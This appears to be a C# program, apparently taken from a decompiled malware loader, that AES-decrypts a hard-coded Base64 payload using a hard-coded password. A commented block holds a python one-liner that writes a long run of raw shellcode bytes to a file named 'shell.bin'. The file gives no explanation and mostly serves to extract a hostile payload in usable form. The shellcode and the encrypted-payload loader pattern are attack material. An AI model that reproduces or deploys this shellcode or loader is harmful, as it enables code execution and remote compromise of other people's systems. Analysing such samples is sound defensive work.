using System.IO;

using System.Linq;

using System.Security.Cryptography;

using System.Text;

using System;

​

public class HelloWorld

{

    // Token: 0x02000019 RID: 25

    internal class AES

    {

        // Token: 0x0600004C RID: 76 RVA: 0x00005689 File Offset: 0x00003889

        public AES(string password)

        {

            this.key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));

        }

​

        // Token: 0x0600004D RID: 77 RVA: 0x000056AC File Offset: 0x000038AC

        private byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data)

        {

            byte[] result;

            using (MemoryStream memoryStream = new MemoryStream())

            {

                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write))

                {

                    cryptoStream.Write(data, 0, data.Length);

                    cryptoStream.FlushFinalBlock();

                    result = memoryStream.ToArray();

                }

            }

            return result;

        }

​

        // Token: 0x0600004E RID: 78 RVA: 0x00005714 File Offset: 0x00003914

        public byte[] Decrypt(byte[] data)

        {

            byte[] result;

            using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())

            {

                byte[] iv = data.Take(16).ToArray<byte>();

                byte[] data2 = data.Skip(16).Take(data.Length - 16).ToArray<byte>();

                aesCryptoServiceProvider.Key = this.key;

                aesCryptoServiceProvider.IV = iv;

                aesCryptoServiceProvider.Mode = CipherMode.CBC;

                aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;

                using (ICryptoTransform cryptoTransform = aesCryptoServiceProvider.CreateDecryptor(aesCryptoServiceProvider.Key, aesCryptoServiceProvider.IV))

                {

                    result = this.PerformCryptography(cryptoTransform, data2);

                }

            }

            return result;

        }

​

        // Token: 0x04000002 RID: 2

        private byte[] key;

    }

    public static void Main(string[] args)

    {

        byte[] bytes = System.Convert.FromBase64String("mQe7Z54XZdy9tGfBxLANITs/cIZ53BLlNS/0rA+732pX5PoJSk0D/7qe8lHCxXEA3wTf+ILc1Dc+DQu6XGtkLE5Nfi5GvSXCDFhlwCf6wMrYoBINPl79Mcjxb7h7+QcYuRtHWS+siDTcGxyS0e+gCH7dZ4dGQhwB1NIqo7YAZJ2qzX8NL36anJBXwT6meYwVj9hD3lVlQqxHfyD2OG31NaXdRhmbFouysT3DLuHJ1LIBR0QtCN/RlBrgNLX/dqifAc3xajXiV5J8qgLStlS7hd4nV6CkJ5NyG7wlfZC3V90IR9Mxd2u2uWgAFo8SIEk4++wAPOmrXpC1vFe5rHnvxAUWMCi9DElNR9tPlz1D3WLfHuuAkQWv/21uig6mU+ycA6YglUmB9lvbRxSrvc8WE/znqETwx5TdK6GBFDX6Yu7Sw9p1NDe8qkcic57DZeHW");

        byte[] array = new AES("z64&Rx27Z$B%73up").Decrypt(bytes);

         //Console.WriteLine(BitConverter.ToString(array).Replace("-", string.Empty));

       //  Console.WriteLine(ByteArrayToString(array));

        /**

        python3 -c 'print("\xdb\xd9\xbe\x47\x7c\xd0\x53\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x48\x31\x72\x19\x03\x72\x19\x83\xea\xfc\xa5\x89\x2c\xbb\xab\x72\xcd\x3c\xcb\xfb\x28\x0d\xcb\x98\x39\x3e\xfb\xeb\x6c\xb3\x70\xb9\x84\x40\xf4\x16\xaa\xe1\xb2\x40\x85\xf2\xee\xb1\x84\x70\xec\xe5\x66\x48\x3f\xf8\x67\x8d\x5d\xf1\x3a\x46\x2a\xa4\xaa\xe3\x66\x75\x40\xbf\x67\xfd\xb5\x08\x86\x2c\x68\x02\xd1\xee\x8a\xc7\x6a\xa7\x94\x04\x56\x71\x2e\xfe\x2d\x80\xe6\xce\xce\x2f\xc7\xfe\x3d\x31\x0f\x38\xdd\x44\x79\x3a\x60\x5f\xbe\x40\xbe\xea\x25\xe2\x35\x4c\x82\x12\x9a\x0b\x41\x18\x57\x5f\x0d\x3d\x66\x8c\x25\x39\xe3\x33\xea\xcb\xb7\x17\x2e\x97\x6c\x39\x77\x7d\xc3\x46\x67\xde\xbc\xe2\xe3\xf3\xa9\x9e\xa9\x99\x2c\x2c\xd4\xec\x2e\x2e\xd7\x40\x46\x1f\x5c\x0f\x11\xa0\xb7\x6b\xed\xea\x9a\xda\x65\xb3\x4e\x5f\xe8\x44\xa5\x9c\x14\xc7\x4c\x5d\xe3\xd7\x24\x58\xa8\x5f\xd4\x10\xa1\x35\xda\x87\xc2\x1f\xfa\x49\x59\xd4\xdb\xe0\xd2\x71\x6e\x2b\x7e\x17\xe7\x47\x12\x82\x85\xb7\xc8\x04\x3e\xfa\x77\xa5\x8e\xca\xb7\xf5\x9e\x59\xe8\xc4\x01\xea\x26\x53\x8a\x7e\x2a\xe2\xad\x18\x82\x66\x35\xd5\x96\xd9\x88\x61\x2b\xc4\xca\xa6\xb2\x6c\x6f\x82\x14\x03\x0a\x80\x74\xb7\xbb\x0b\x15\x2b\x23\xbe\xba\xc6\xdb\x1e\x25\x4d\x71\x36\xcb\xe4\xfa\xbc\x61\x96\x88\x53\xf7\x2b\x51\xc6\x9a\xa2\xfd\x7a\x01\x47\xde\xad\xa8\xc3\x7a\xb2")' > shell.bin

        **/

    }

    public static string ByteArrayToString(byte[] ba)

{

  StringBuilder hex = new StringBuilder(ba.Length * 2);

  foreach (byte b in ba)

    hex.Append(@"\x").AppendFormat("{0:x2}", b);

  return hex.ToString();

}

}